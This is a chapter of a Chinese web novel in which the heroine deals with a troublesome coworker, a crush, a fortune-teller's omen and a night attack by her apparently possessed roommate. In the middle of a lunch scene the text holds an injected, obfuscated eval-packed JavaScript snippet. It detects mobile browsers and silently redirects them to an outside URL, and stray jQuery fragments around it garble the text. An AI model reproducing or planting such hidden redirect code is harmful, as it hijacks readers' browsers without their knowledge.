16. 第 16 章

作品:《狐狸的抱恩

    从地铁下来,刚到小区门口,苏玉玉就穿着睡衣迎过来。


    “今天怎么这么早?”她接过盛婳手里的包,问。


    盛婳扯了扯嘴角:“坐了同事的车,不用排队,所以快。”


    “哪个同事?”苏玉玉挽着她的胳膊,随手刷开入口感应门,“又是胡月徊?”


    盛婳摇头:“周琦真。”


    “什么!”苏玉玉惊得差点跳起,“他又发什么神经贴着你缠上来?大小姐未婚妻不管?”


    动作间,她睡衣上的兔子耳朵一跳一跳。


    盛婳不由自主笑起来:“你不会觉得是我自己贴上去吗?”


    “怎么可能!”苏玉玉一口否定,“当初他那什么未婚妻,害得你差点连学都不能上了,你不杀了他就算好的。”


    好友这样信任自己,盛婳自然不能辜负。


    她指指自己的包:“里面有草莓,洗过的。”


    “啊!”苏玉玉惊叫一声,拨开包口,拿出来一个打结的塑料袋,“都是给我的?”


    盛婳点头:“我吃过了。”


    苏玉玉便不客气,拿起一颗红透的塞进嘴里。


    香甜汁水在口中迸开的同时,她又扶住盛婳的手臂,边往前走边叹:“早知道当初就不劝你就在这公司了。”


    盛婳却不赞同她这话。


    “怎么能怪你?”她说,“这是权衡利弊之后最好的选择。”


    当初才来这个城市,盛婳投了无数简历,这公司是她面试后觉得最满意的,入职之后想法也没有改变。


    大环境下,工作可不好找。


    为了一个连前男友都不是的男人而放弃,更不值得。


    “不过,我之前跟他虽然一个组,但还算是井水不犯河水,”说到这里,盛婳更奇怪了,“可最近不知道怎么,他人又老是缠上来,还说些奇奇怪怪的话。”


    走进电梯,按下目标楼层。


    苏玉玉嘴里嚼着草莓,说:“难道是觉得你日子过得太好,嫉妒,不甘心,所以来恶心恶心你?”


    话听在耳朵里,盛婳回忆了下大学时周琦的为人处世,觉得并不是没有可能。


    “算了,不提他。”盛婳说,“到家了。”


    电梯门应声打开,走廊灯光明亮,照亮对面贴着春联的入户门。


    两人松口气。


    打开门,换鞋,把自己身体甩在沙发上,感受着腰部的酸软,盛婳长长地松口气。


    “对了。”苏玉玉坐在旁边沙发位上,踢踢她的屁股,“之前不是说要找男朋友?进度怎么样?”


    盛婳闭着眼:“今天遇到胡月徊了,本来想问他一下的,但还是没有说出口。”


    草莓停在嘴边,苏玉玉眉毛一抬:“问什么?”


    “问他要不要做我男朋友啊。”盛婳睁开一只眼,语气理所当然。


    “呃……”苏玉玉放下草莓,两条细眉毛拧成一个八字,“这难道不应该是表白吗?”


    盛婳挠挠头:“算是?”


    什么‘算是’?


    苏玉玉草莓也不吃了,躬身捧住盛婳的脸,正色问:“婳婳,你跟我说实话,你喜不喜欢那个姓胡的?”


    “当然。”盛婳点头。


    “你喜欢他什么?”


    盛婳咬唇,思索:“他的脸,打扮,长头发……还有身上的香味。”


    随着一样样数出来,苏玉玉落在她脸上的目光越发温柔。


    等说完了,苏玉玉问:“除了这些呢?性格、人品、为人处世之类,就没有能吸引你的地方吗?”


    盛婳顿住。


    好一会儿,她摇头:“我和他认识不久,更多的还不了解。”


    苏玉玉叹气,摸摸她的额头:“找男朋友这种事,还是想清楚一点,不要为了找男朋友而找男朋友。这样对你、对他,都不好。”


    盛婳抿唇。


    “我知道你因为最近遇到的事而害怕,”苏玉玉慢慢说,“但我肯定会陪在你身边,直到那变态被抓住……”


    浓云如墨,夜色更深。


    周末两天风风火火过去,转眼就到了周一。


    换到辉哥手下做新项目这事,有好也有不好。


    好的是,不用再面对周琦真那张衰脸;不好的是,项目初期,每天有开不完的会。


    尤其是周一早上。


    刚过九点,盛婳坐在工位上吃早餐,辉哥便幽灵一样,不知道从哪个角落里冒出来:“项目前瞻会,9会议室,你们俩一起来。”


    盛婳连忙把手里包子囫囵塞进嘴里。


    九点零十分,会议室门关上。主持会议的导演大手一挥:“没来的就算了,会议开始。”


    前瞻会,名字听着神秘,其实就是在项目正式开始之前,确定美术风格、感情基调……等等一系列相关琐事的会议。


    目的就是让每个人对自己的项目有所了解,不至于被问到时一个字也说不出来。


    作用有没有不知道,但有一点非常明确:很浪费时间。


    会议直到十一点还在继续,脑门半秃的导演翻开ppt下一页,继续说:“关于美术,因为作品风格,我们尽量要往清新治愈的方向走。我找了几张参考,大家都看一看。”


    ppt画面跳转,变成一张手绘的风景图。


    夕阳如火,将云层染透,又落在金黄的稻田里。前景的女孩挽着裤脚从田埂走过,身后跟着一只长着角的山羊。


    盛婳心中一跳。


    宁晓凑过来,小声道:“这好像是前两年在网络上很火的一个画手的作品,叫什么……shepherdess,牧羊女?”


    眼看辉哥的目光就要瞥过来,盛婳连忙推推她的胳膊。


    倾过来的身体又退回去,宁晓正襟危坐,眼观鼻鼻观心,再不敢偷偷讲小话。


    会议继续。


    美术组长推推眼睛:“明暗对比会不会太强烈了?”


    导演没有说话,只是一声不响地继续看下一张图片。


    碧色的山,湛蓝的湖。阳光下的青草上停着一只蝴蝶,山羊在吃草,小女孩坐在湖边,脚撩起水花。


    一连几张图,都是这样清新的田园山景。


    盛婳垂下目光,手里的笔不自觉在笔记本上画圈。


    “笔触细腻,用色大胆。整体氛围温和宁静,像夏日的一场幻梦。”辉哥开口,“我们项目讲的是人与妖和谐共处,这风格确实可以参考。”


    其他人也纷纷点头。


    “类似的风格倒是不难,”美术组长说,“我们可以按照这个风格先出两张图来看看。”


    “行,那就这样……”


    时间点点过去,十二点吃饭之前,这会议总算结束。


    盛婳坐在工位上,望着桌子上的手机,手指停在某个大眼睛的红色社交软件上方,迟迟没有点下去。


    宁晓放下笔记本,回头:“婳婳,吃饭去吗?”


    盛婳猛地回神。


    手机揣进兜里,她起身:“去。”


    熟悉的猪脚饭店。


    宁晓端着碗,看一眼盛婳脸色,奇怪:“怎么心不在焉的?”


    “啊,”盛婳回神,随口说:“在想东西该怎么画呢。”


    宁晓眉毛立时皱起来:“快住脑吧,吃着饭呢,想工作的事情不怕消化不良?”


    盛婳忙道:“行,听你的。”


    宁晓也笑起来,但只有一下,又很快被收起。她手里勺子在饭里戳来戳去,犹豫说:“……我要向你道歉。”


    盛婳抬眼,疑惑。


    宁晓:“就是之前开你和那姓周的玩笑的事,以后再也不说了。”


    “为什么?”


    宁晓捏拳:“我本来看他文质彬彬,以为是个好人。可那天晚上他那样跟你讲话,看着就火大,什么爹味老登?呸!”


    她面色绯红,双眼冒火,衬着圆圆脸颊,格外可爱。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477831|201585||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    盛婳本来就没怪她,失笑:“要我原谅你也行,”她下巴点点碗,“今天的饭,你请。”


    “行,没问题。”


    吃完饭,天又下起雨来。不大,淅淅沥沥,夹着刺骨寒风,将商场前的地板打得湿透。


    两人被困在门口,旁边坐着一个卖艺的老爷爷,衣衫简素,带着副盲人眼镜,怀里抱着把二胡。


    琴盒在身前打开,上面贴着个二维码,粗粝的手掌里握着把马尾弓,一首《二泉映月》从琴弦上流淌而出,衬得檐外风雨更加寒凉。


    “阿炳,真惨啊。”宁晓揉揉眼睛,掏出手机,扫了下琴盒上的二维码。


    “支付宝到账,十元。”


    盛婳也听得鼻子泛酸,拿手机扫了十块钱过去。


    曲声停下,老爷爷抬脸朝她们方向侧了侧:“两个小丫头,要不要我给你们算个命?”


    “欸?”宁晓惊讶,“你看得见啊。”


    老爷爷哼了下:“我只是瞎,耳朵又不聋,你们说话我都听得见。怎么样,要不要算?”


    宁晓摇头:“不了,等会还要上班,谢谢您。”


    “你要上班就去上班吧,我也没问你。”老爷爷毫不在意,手指一点,“小丫头,你算命吗?”


    指尖所在,是站在旁边的盛婳。


    盛婳一愣。


    宁晓却很不高兴:“为什么只给她算不给我算?”


    老爷爷摇摇头,一双糙手在弓弦上不住摆弄,“你又没事,算也算不出什么东西。”


    “那我朋友就有事?”


    老爷爷笑起来:“印堂发黑,血光冲天,你说有事没事?”


    宁晓眉毛却皱起来,转头看向盛婳,挤眉弄眼。


    盛婳当即道:“不了,我不信这些的,谢谢你。”


    这老爷爷也没有挽留的意思,提起琴弓,拖长了声调:“你身上这煞凶得很,小心殃及身边人……”


    话没听完,宁晓便已经拉着她走了。


    身后二胡曲声凄扬。


    宁晓回头看了一眼,开口:“那老头肯定是骗人的,他眼睛都看不见,怎么能知道你印堂发黑?”


    盛婳摇头:“我又不信那个。”


    望着她气鼓鼓的脸,她开玩笑,“万一人家是真的看出来的呢?”


    “那就更可恶了,”宁晓跺脚,“装瞎子骗人更不能原谅!”


    盛婳噗一下笑出来。


    午休过去,工作继续。


    项目还没开始,盛婳无事可做,一下午都在摸鱼画黄图,一边防着上司一边防着周围同事,精神高度紧张,等下班时头晕脑胀,回家后连饭都没吃,倒头就睡。


    不知多久,盛婳醒了过来。


    天已经黑了,入目一片暗沉,只床头灯微微亮着。


    她目光一扫,视线顿住。


    旁边被子平铺着,苏玉玉不在床上,房门开了条缝,黑洞洞的客厅里,隐约有窸窸窣窣的声音传过来。


    搞什么,灯都没开?


    盛婳按开床头灯,掀开被子走下床,推开门走出去。


    暖黄灯光立刻从卧室门的缝隙间投出去,落在客厅地板上,照出一个蹲在冰箱前的身影,裹在身上的睡衣纠结着,露出一截纤细的小腿。


    盛婳揉揉眼睛,慢吞吞走过去,边打着哈欠问:“苏玉玉,你大晚上不睡觉蹲在这里干嘛?”


    窸窸窣窣的声音立即顿住。


    盛婳不明所以,按开客厅的灯。


    ‘啪’一声后,灯光亮起,伏在冰箱旁边的人立刻抬头。


    秀气白皙的脸上沾着不知道哪里来的红色血污,嘴角涎水四溢,牙缝间布满冰屑肉丝。那狰狞至极的模样,仿佛纪录片里食肉的野人……


    盛婳:“苏玉……”


    没说完,冰箱旁边的人猛扑过来,一把将她推在地上,张大嘴巴,龇着沾满血丝的尖牙咬过来。


    “啊——”盛婳大喊。